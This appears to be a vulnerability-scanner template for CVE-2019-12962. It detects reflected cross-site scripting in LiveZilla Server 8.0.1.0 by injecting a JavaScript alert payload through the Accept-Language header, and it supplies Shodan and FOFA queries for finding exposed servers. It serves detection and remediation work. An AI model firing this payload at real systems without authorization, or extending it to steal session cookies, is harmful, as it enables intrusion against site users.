id: CVE-2019-12962

info:
  name: LiveZilla Server 8.0.1.0 - Cross-Site Scripting
  author: Clment Cruchet
  severity: medium
  description: |
    LiveZilla Server 8.0.1.0 is vulnerable to reflected cross-site scripting.
  impact: |
    Attackers can inject malicious JavaScript through the Accept-Language header, potentially stealing session cookies, credentials, or performing unauthorized actions on behalf of victims.
  remediation: |
    Upgrade to the latest version of LiveZilla Server or apply the vendor-provided patch to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49669
    - https://forums.livezilla.net/index.php?/topic/10984-fg-vd-19-083085087-livezilla-server-are-vulnerable-to-cross-site-scripting-in-admin-panel/
    - http://packetstormsecurity.com/files/161867/LiveZilla-Server-8.0.1.0-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12962
    - https://github.com/anonymous364872/Rapier_Tool
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-12962
    cwe-id: CWE-79
    epss-score: 0.04052
    epss-percentile: 0.88671
    cpe: cpe:2.3:a:livezilla:livezilla:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: livezilla
    product: livezilla
    shodan-query:
      - http.html:LiveZilla
      - http.html:livezilla
    fofa-query: body=livezilla
  tags: cve,cve2019,xss,edb,packetstorm,livezilla,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/mobile/index.php'

    headers:
      Accept-Language: ';alert(document.domain)//'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "var detectedLanguage = ';alert(document.domain)//';"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022071ff5db97a6f69a23e086af7ba37b34f9770278fd23004d6f6b101615ecbe3a1022100e040677752f3dd0235bfaa34bbc96858db3b07f708ae2fdff8e3db910f31d2d9:922c64590222798bb761d5b6d8e72950